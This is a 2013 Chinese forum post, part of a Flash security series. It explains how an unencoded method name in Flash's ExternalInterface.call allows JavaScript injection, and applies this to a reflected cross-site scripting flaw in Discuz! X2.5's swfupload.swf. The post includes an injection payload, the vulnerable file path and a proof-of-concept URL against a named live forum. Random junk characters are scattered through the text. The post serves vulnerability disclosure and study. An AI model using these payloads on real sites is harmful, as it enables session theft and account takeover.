找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1992|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说. z- z9 `9 m, r+ o3 X% C

* x/ A' E; S6 T0 x3 Oflash.external.ExternalInterface.call($methodName, $parameter)' e, S+ _( H) V/ u3 w7 \, b
在浏览器中执行的是
/ h7 }5 f% U! i7 }1 h- g: J3 C; W0 v& ~0 [
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}& T5 T4 G% e/ {4 i% s
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如! j& _7 ^, [" Y6 k- A7 i

5 [( p* Y. h0 {9 Q6 I- Jflash.external.ExternalInterface.call("object."+$methodName, $parameter)
5 r! v2 m, ?! H, O7 Y" r% d$methodName = a())}catch(e){alert(/xss/)}//
9 w  p6 m9 I) d  [结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。3 Z) Z0 j& ?) l$ o# h* n/ N1 i

7 z# ~5 V5 R5 G" r: ltry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }/ }# P, Z( p8 p) Y* C

6 {- o1 Z3 q7 }' H3 T这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )) o0 w* S8 c( T
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。) y% U, J% \# ^* E6 G

/ ~& _: I0 U$ q# K# V6 X/ e4 |9 _1 U! r. a/ [  B7 f9 x
. {- s8 L! C% A$ g4 K! j
漏洞文件:upload\static\image\common\swfupload.swf/ P" ?! U& C; }! c4 R1 w
- q/ k) X6 c$ I* }
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
3 h4 U7 c; N( y1 |8 @& X+ C$ g4 y" d6 X0 V6 C- \8 q) N/ t% |, E$ W7 W

% N! e# S1 b6 V$ O- f* {& F1 z' @漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//8 T- x' I3 w: Y$ q  S

2 k6 x- \+ ?) k2 w$ d: D" ]
% z* [+ d1 z0 Z$ t4 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表